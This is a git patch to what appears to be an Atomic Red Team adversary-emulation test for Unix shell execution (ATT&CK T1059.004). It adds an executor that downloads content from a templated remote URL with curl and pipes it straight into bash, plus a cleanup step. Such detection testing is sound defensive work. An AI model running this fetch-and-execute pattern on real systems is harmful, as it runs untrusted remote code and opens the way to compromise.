From f355273f8a1ac78bdb8d3f56d0f18a7de9d2d585 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Alonso=20C=C3=A1rdenas?= <11150989+alonsobsd@users.noreply.github.com> Date: Wed, 1 Nov 2023 19:16:09 -0500 Subject: [PATCH] Update T1059.004.yaml Add executor --- atomics/T1059.004/T1059.004.yaml | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/atomics/T1059.004/T1059.004.yaml b/atomics/T1059.004/T1059.004.yaml index 3f384d47..04faca4c 100644 --- a/atomics/T1059.004/T1059.004.yaml +++ b/atomics/T1059.004/T1059.004.yaml @@ -304,6 +304,17 @@ atomic_tests: if [ -x "$(command -v curl)" ]; then echo "curl is installed"; else echo "curl is NOT installed"; exit 1; fi get_prereq_command: | pkg update && pkg install -y curl + executor: + name: sh + elevation_required: false + command: | + cd /tmp + curl -s #{remote_url} + ls -la /tmp/art.txt + curl -s #{remote_url} |bash + ls -la /tmp/art.txt + cleanup_command: | + rm /tmp/art.txt - name: Current kernel information enumeration auto_generated_guid: 3a53734a-9e26-4f4b-ad15-059e767f5f14 description: |